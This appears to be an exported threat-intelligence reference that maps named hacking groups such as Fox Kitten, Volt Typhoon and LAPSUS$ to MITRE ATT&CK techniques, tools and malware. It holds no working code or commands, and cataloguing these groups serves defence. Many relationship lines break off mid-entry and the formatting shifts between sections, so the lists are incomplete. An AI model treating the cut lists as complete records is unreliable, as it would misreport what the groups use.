[Fox Kitten](https://attack.mitre.org/groups/G0117) is threat actor with a suspected nexus to the Iranian government that has been active since at least 2017 against entities in the Middle East, North Africa, Europe, Australia, and North America. [Fox Kitten](https://attack.mitre.org/groups/G0117) has targeted multiple industrial verticals including oil and gas, technology, government, defense, healthcare, manufacturing, and engineering.(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: Dragos PARISITE ) (Citation: ClearSky Pay2Kitten December 2020)

The tag is: misp-galaxy:mitre-intrusion-set="Fox Kitten - G0117"

Fox Kitten - G0117 is also known as:

- Fox Kitten
- UNC757
- Parisite
- Pioneer Kitten

View relationships graph

Fox Kitten - G0117 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-
uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-tool="ngrok - S0508" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage - T1530" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-malware="China Chopper - S0020" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Browser Information Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-malware="Pay2Key - S0556" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Establish Accounts - T1585" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 6404. Table References
Volt Typhoon - G1017

[Volt Typhoon](https://attack.mitre.org/groups/G1017) is a People’s Republic of China (PRC) state-sponsored actor that has been active since at least 2021. [Volt Typhoon](https://attack.mitre.org/groups/G1017) typically focuses on espionage and information gathering and has targeted critical infrastructure organizations in the US including Guam. [Volt Typhoon](https://attack.mitre.org/groups/G1017) has emphasized stealth in operations using web shells, living-off-the-land (LOTL) binaries, hands on keyboard activities, and stolen credentials. (Citation: Microsoft Volt Typhoon May 2023) (Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023) (Citation: Secureworks BRONZE SILHOUETTE May 2023)

The tag is: `misp-galaxy:mitre-intrusion-set="Volt Typhoon - G1017"`

Volt Typhoon - G1017 is also known as:

- **Volt Typhoon**
- **BRONZE SILHOUETTE**

View relationships graph

Volt Typhoon - G1017 has relationships with:

- uses: `misp-galaxy:mitre-tool="Net - S0039"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-tool="certutil - S0160"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with
- uses: misp-galaxy:mitre-attack-pattern="Masquerade File Type - T1036.008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Impacket - S0357" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Network Connection History and Configurations - T1070.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-
- uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Botnet - T1584.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Nltest - S0359" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
Indrik Spider - G0119

[Indrik Spider](https://attack.mitre.org/groups/G0119) is a Russia-based cybercriminal group that has been active since at least 2014. [Indrik Spider](https://attack.mitre.org/groups/G0119) initially started with the [Dridex](https://attack.mitre.org/software/S0384) banking Trojan, and then by 2017 they began running ransomware operations using [BitPaymer](https://attack.mitre.org/software/S0570), [WastedLocker](https://attack.mitre.org/software/S0612), and Hades ransomware. Following U.S. sanctions and an indictment in 2019, [Indrik Spider](https://attack.mitre.org/groups/G0119) changed their tactics and diversified their toolset.(Citation: Crowdstrike Indrik November 2018)(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="Indrik Spider - G0119"*

Indrik Spider - G0119 is also known as:

- Indrik Spider
- Evil Corp

View relationships graph

Indrik Spider - G0119 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="WastedLocker - S0612" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Donut - S0695" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Server - T1584.004" with estimative-language:likelihood-probability="almost-certain"
Silent Librarian - G0122

[Silent Librarian](https://attack.mitre.org/groups/G0122) is a group that has targeted research and proprietary data at universities, government agencies, and private sector companies worldwide since at least 2013. Members of [Silent Librarian](https://attack.mitre.org/groups/G0122) are known to have been affiliated with the Iran-based Mabna Institute which has conducted cyber intrusions at the behest of the government of Iran, specifically the Islamic Revolutionary Guard Corps (IRGC).(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Malwarebytes Silent Librarian October 2020)

The tag is: `misp-galaxy:mitre-intrusion-set="Silent Librarian - G0122"`

Silent Librarian - G0122 is also known as:

- Silent Librarian
- TA407
- COBALT DICKENS

View relationships graph

Silent Librarian - G0122 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Email Collection - T1114"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Search Victim-Owned Websites - T1594"` with
uses: misp-galaxy:mitre-attack-pattern="Digital Certificates - T1588.004" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Employee Names - T1589.003" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Email Forwarding Rule - T1114.003" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Link Target - T1608.005" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

**Table 6407. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0122">https://attack.mitre.org/groups/G0122</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/">https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities">https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again">https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again</a></td>
</tr>
</tbody>
</table>

**Volatile Cedar - G0123**

[Volatile Cedar](https://attack.mitre.org/groups/G0123) is a Lebanese threat group that has targeted individuals, companies, and institutions worldwide. [Volatile Cedar](https://attack.mitre.org/groups/G0123) has been operating since 2012 and is motivated by political and ideological
interests.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)

The tag is: *misp-galaxy:mitre-intrusion-set=*"Volatile Cedar - G0123"

Volatile Cedar - G0123 is also known as:

- Volatile Cedar
- Lebanese Cedar

View relationships graph

Volatile Cedar - G0123 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern=*"Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-malware=*"Explosive - S0569" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-malware=*"Caterpillar WebShell - S0572" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern=*"Wordlist Scanning - T1595.003" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern=*"Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6408. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0123">https://attack.mitre.org/groups/G0123</a></td>
</tr>
</tbody>
</table>

**Mustang Panda - G0129**

[Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Europe, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)
The tag is: misp-galaxy:mitre-intrusion-set="Mustang Panda - G0129"

Mustang Panda - G0129 is also known as:

- Mustang Panda
- TA416
- RedDelta
- BRONZE PRESIDENT

View relationships graph

Mustang Panda - G0129 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="RCSession - S0662" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Double File Extension - T1036.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="InstallUtil - T1218.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Stage Capabilities - T1608" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="NBTscan - S0590" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 6409. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0129">https://attack.mitre.org/groups/G0129</a></td>
</tr>
</tbody>
</table>
Nomadic Octopus - G0133

[Nomadic Octopus](https://attack.mitre.org/groups/G0133) is a Russian-speaking cyber espionage threat group that has primarily targeted Central Asia, including local governments, diplomatic missions, and individuals, since at least 2014. [Nomadic Octopus](https://attack.mitre.org/groups/G0133) has been observed conducting campaigns involving Android and Windows malware, mainly using the Delphi programming language, and building custom variants.(Citation: Security Affairs DustSquad Oct 2018)(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)

The tag is: misp-galaxy:mitre-intrusion-set="Nomadic Octopus - G0133"

Nomadic Octopus - G0133 is also known as:

- Nomadic Octopus
- DustSquad

View relationships graph

Nomadic Octopus - G0133 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Octopus - S0340" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6410. Table References

Links
Aquatic Panda - G0143

[Aquatic Panda](https://attack.mitre.org/groups/G0143) is a suspected China-based threat group with a dual mission of intelligence collection and industrial espionage. Active since at least May 2020, [Aquatic Panda](https://attack.mitre.org/groups/G0143) has primarily targeted entities in the telecommunications, technology, and government sectors.(Citation: CrowdStrike AQUATIC PANDA December 2021)

The tag is: `misp-galaxy:mitre-intrusion-set="Aquatic Panda - G0143"`

Aquatic Panda - G0143 is also known as:

- Aquatic Panda

View relationships graph

Aquatic Panda - G0143 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Malware - T1588.001"` with estimative-language:likelihood-probability="almost-certain"
Table 6411. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0143">https://attack.mitre.org/groups/G0143</a></td>
</tr>
</tbody>
</table>

**Transparent Tribe - G0134**

[Transparent Tribe](https://attack.mitre.org/groups/G0134) is a suspected Pakistan-based threat group that has been active since at least 2013, primarily targeting diplomatic, defense, and research organizations in India and Afghanistan.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Transparent Tribe May 2021)

The tag is: `misp-galaxy:mitre-intrusion-set="Transparent Tribe - G0134"`

**Transparent Tribe - G0134** is also known as:

- Transparent Tribe
- COPPER FIELDSTONE
- APT36
- Mythic Leopard
- ProjectM

View relationships graph
Transparent Tribe - G0134 has relationships with:

- similar: misp-galaxy:360net-threat-actor="透明部 - APT-C-56" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Target - T1608.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Crimson - S0115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="DarkComet - S0334" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ObliqueRAT - S0644" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Peppy - S0643" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="njRAT - S0385" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1584.001" with estimative-
Ferocious Kitten - G0137

Ferocious Kitten - G0137 is a threat group that has primarily targeted Persian-speaking individuals in Iran since at least 2015.(Citation: Kaspersky Ferocious Kitten Jun 2021)

The tag is: misp-galaxy:mitre-intrusion-set="Ferocious Kitten - G0137"

Ferocious Kitten - G0137 is also known as:

- Ferocious Kitten

View relationships graph

Ferocious Kitten - G0137 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="MarkiRAT - S0652" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="BITSAdmin - S0190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Right-to-Left Override - T1036.002" with estimative-
LAPSUS$ - G1004

[LAPSUS$](https://attack.mitre.org/groups/G1004) is cyber criminal threat group that has been active since at least mid-2021. [LAPSUS$](https://attack.mitre.org/groups/G1004) specializes in large-scale social engineering and extortion operations, including destructive attacks without the use of ransomware. The group has targeted organizations globally, including in the government, manufacturing, higher education, energy, healthcare, technology, telecommunications, and media sectors.(Citation: BBC LAPSUS Apr 2022)(Citation: MSTIC DEV-0537 Mar 2022)(Citation: UNIT 42 LAPSUS Mar 2022)

The tag is: `misp-galaxy:mitre-intrusion-set="LAPSUS$ - G1004"`

LAPSUS$ - G1004 is also known as:

- LAPSUS$
- DEV-0537

View relationships graph

LAPSUS$ - G1004 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Service Stop - T1489"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1586.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Gather Victim Identity Information - T1589" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Voice - T1598.004" with estimative-language:likelihood-probability="almost-certain"
